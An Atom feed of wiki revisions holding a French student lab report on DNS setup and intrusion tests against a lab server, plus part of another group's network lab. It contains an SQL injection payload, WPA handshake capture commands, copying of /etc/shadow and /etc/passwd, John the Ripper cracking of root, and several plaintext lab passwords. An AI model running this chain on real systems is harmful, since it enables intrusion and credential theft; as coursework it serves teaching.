https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&feedformat=atom&user=AglaineWiki d'activités IMA - Contributions de l’utilisateur [fr]2026-04-25T10:49:09ZContributions de l’utilisateurMediaWiki 1.29.2https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54169TP sysres IMA5sc 2020/2021 G122020-11-30T17:00:50Z<p>Aglaine : /* 4.1. Configuration des DNS */</p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
=4. Services Internet=<br />
==4.1. Configuration des DNS==<br />
<br />
'''Configuration commencée le 16/11, terminée le 30/11'''<br />
<br />
Dans un premier temps il a fallu réserver un nom de domaine dans la section '''Glue Records''' sur gandi.net :<br />
ns1.truffe.site<br />
<br />
'''Configuration de bind'''<br />
<br />
Installation du paquet nécessaire :<br />
sudo apt-get install bind9<br />
<br />
Changement dans le fichier /etc/resolv.conf pour avoir une connexion :<br />
nameserver 8.8.8.8<br />
<br />
Configuration des options de transfert d'information :<br />
<br />
Dans le fichier /etc/bind/named.conf.options, on modifie comme ci-dessous.<br />
options {<br />
directory "/var/cache/bind";<br />
listen-on-v6 { any; };<br />
allow-transfer { "allowed_to_transfer"; };<br />
};<br />
acl "allowed_to_transfer" { 217.70.177.40/32; };<br />
<br />
Configuration du DNS dans la zone ''truffe.site'' :<br />
<br />
On travaille maintenant dans le fichier /etc/bind/named.conf.local.<br />
<br />
On souhaite créer une zone truffe.site de type master.<br />
<br />
On ajoute aussi le chemin vers son fichier de configuration (fichier à créer a posteriori).<br />
<br />
Finalement, on autorise le transfert d'informations vers le DNS primaire associé à l'adresse suivante : 217.70.177.40<br />
zone "truffe.site" IN {<br />
type master;<br />
file "/etc/bind/db.truffe.site";<br />
allow-transfer {217.70.177.40;};<br />
};<br />
<br />
Configuration de la zone ''truffe.site'' :<br />
<br />
En s'inspirant du fichier /etc/bind/db.local déjà présent, on crée un fichier /etc/bind/db.truffe.site.<br />
<br />
On y ajoute les serveurs DNS principau et secondaires ''ns1.truffe.site'' et ''ns6.gandi.net'' ainsi que l'adresse ip de notre VM sous ns1.<br />
<br />
Il faut également modifier localhost et root.localhost et incrémenter le Serial.<br />
$TTL 604800<br />
@ IN SOA ns1.truffe.site. postmaster.truffe.site. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.truffe.site<br />
@ IN NS ns6.gandi.net<br />
ns1 IN A 193.48.57.177<br />
<br />
=5. Tests d'intrusion=<br />
<br />
==5.2 Cassage de clef WEP d'un point d'accès WiFi==<br />
<br />
==5.3 Cassage de mot de passe WPA-PSK par force brute==<br />
<br />
On utilise encore une fois ''aircrack-ng''.<br />
<br />
On commence donc par les commandes suivantes:<br />
<br />
airmon-ng<br />
<br />
airmon-ng start wlx40a5ef05a110<br />
<br />
L'interface réseau a été renommé suite à cela en ''wlan0mon''.<br />
<br />
On peut donc lancer la commande suivante:<br />
<br />
airodump-ng wlan0mon<br />
<br />
On récupère ainsi le BSSID et le canal de krakotte12. <br />
On cherche alors à récupérer le ''handshake'' via la commande suivante:<br />
<br />
airodump-ng --bssid 00:14:1B:60:8C:2B wlan0mon --channel 5 --write hand<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54153TP sysres IMA5sc 2020/2021 G122020-11-30T16:47:06Z<p>Aglaine : /* 4.1. Configuration des DNS */</p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
=4. Services Internet=<br />
==4.1. Configuration des DNS==<br />
<br />
'''Configuration effectuée le 16/11'''<br />
<br />
Dans un premier temps il a fallu réserver un nom de domaine dans la section '''Glue Records''' sur gandi.net :<br />
ns1.truffe.site<br />
<br />
'''Configuration de bind'''<br />
<br />
Installation du paquet nécessaire :<br />
sudo apt-get install bind9<br />
<br />
Changement dans le fichier /etc/resolv.conf pour avoir une connexion :<br />
nameserver 8.8.8.8<br />
<br />
Configuration des options de transfert d'information :<br />
<br />
Dans le fichier /etc/bind/named.conf.options, on modifie comme ci-dessous.<br />
options {<br />
directory "/var/cache/bind";<br />
listen-on-v6 { any; };<br />
allow-transfer { "allowed_to_transfer"; };<br />
};<br />
acl "allowed_to_transfer" { 217.70.177.40/32; };<br />
<br />
Configuration du DNS dans la zone ''truffe.site'' :<br />
<br />
On travaille maintenant dans le fichier /etc/bind/named.conf.local.<br />
On souhaite créer une zone truffe.site de type master.<br />
On ajoute aussi le chemin vers son fichier de configuration (fichier à créer a posteriori).<br />
Finalement, on autorise le transfert d'informations vers le DNS primaire associé à l'adresse suivante : 217.70.177.40<br />
zone "truffe.site" IN {<br />
type master;<br />
file "/etc/bind/db.truffe.site";<br />
allow-transfer {217.70.177.40;};<br />
};<br />
<br />
=5. Tests d'intrusion=<br />
<br />
==5.2 Cassage de clef WEP d'un point d'accès WiFi==<br />
<br />
==5.3 Cassage de mot de passe WPA-PSK par force brute==<br />
<br />
On utilise encore une fois ''aircrack-ng''.<br />
<br />
On commence donc par les commandes suivantes:<br />
<br />
airmon-ng<br />
<br />
airmon-ng start wlx40a5ef05a110<br />
<br />
L'interface réseau a été renommé suite à cela en ''wlan0mon''.<br />
<br />
On peut donc lancer la commande suivante:<br />
<br />
airodump-ng wlan0mon<br />
<br />
On récupère ainsi le BSSID et le canal de krakotte12. <br />
On cherche alors à récupérer le ''handshake'' via la commande suivante:<br />
<br />
airodump-ng --bssid 00:14:1B:60:8C:2B wlan0mon --channel 5 --write hand<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54125TP sysres IMA5sc 2020/2021 G122020-11-30T16:21:33Z<p>Aglaine : /* 4. Services Internet */</p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
=4. Services Internet=<br />
==4.1. Configuration des DNS==<br />
<br />
=5. Tests d'intrusion=<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54124TP sysres IMA5sc 2020/2021 G122020-11-30T16:20:26Z<p>Aglaine : </p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
=4. Services Internet=<br />
<br />
=5. Tests d'intrusion=<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54120TP sysres IMA5sc 2020/2021 G122020-11-30T16:08:07Z<p>Aglaine : /* Services Internet */</p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
=4. Services Internet=<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54119TP sysres IMA5sc 2020/2021 G122020-11-30T16:07:37Z<p>Aglaine : /* 5.5 Intrusion sur un serveur d’application Web */</p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
==Services Internet==<br />
<br />
<br />
<br />
==5.5 Intrusion sur un serveur d’application Web==<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G12&diff=54118TP sysres IMA5sc 2020/2021 G122020-11-30T16:07:04Z<p>Aglaine : </p>
<hr />
<div>TP PRA Quentin Normand / Maxime Claudel - truffe<br />
<br />
==Services Internet==<br />
<br />
<br />
<br />
=5.5 Intrusion sur un serveur d’application Web=<br />
<br />
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.<br />
<br />
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:<br />
<br />
'OR 1=1#<br />
<br />
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.<br />
<br />
On peut donc désormais se connecter à l'application avec l'identifiant ''admin'' et son mot de passe ''jesuislechef''.<br />
<br />
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe ''gencovid19''.<br />
En se connectant en ''root'' avec ce mot de passe à phpmyadmin on a pu rentrer dans la table ''users'' et récupérer le login ''rex'' et le mot de passe associé ''plainpassword''.<br />
<br />
On a donc pu se connecter en SSH au serveur:<br />
<br />
ssh rex@honey.plil.info<br />
<br />
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:<br />
<br />
scp rex@honey.plil.info:/etc/shadow shadow_rex<br />
<br />
scp rex@honey.plil.info:/etc/passwd passwd_rex<br />
<br />
Ces deux fichiers vont nous permettre de récupérer le mot de passe ''root'' par force brute via l'utilitaire ''johnthereaper''.<br />
<br />
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:<br />
<br />
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico<br />
<br />
Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:<br />
<br />
sed -i 's/\(.*\)/\1\1/'<br />
<br />
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper ''passwd_rex'' et ''shadow_rex'' avec la commande suivante:<br />
<br />
unshadow /home/passwd_rex /home/shadow_rex | head > password<br />
<br />
Puis utiliser la force brute avec la commande:<br />
<br />
john -w:dico password<br />
<br />
On obtient alors le mot de passe ''root'' suivant: ''fortfort''<br />
<br />
On peut alors se connecter en SSH:<br />
<br />
ssh root@honey.plil.info<br />
<br />
Puis ajouter un fichier:<br />
<br />
touch Normand_Claudel_grp12</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54024TP sysres IMA2a5 2020/2021 G52020-11-27T19:35:25Z<p>Aglaine : /* Description */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
=== Architecture réseau ===<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
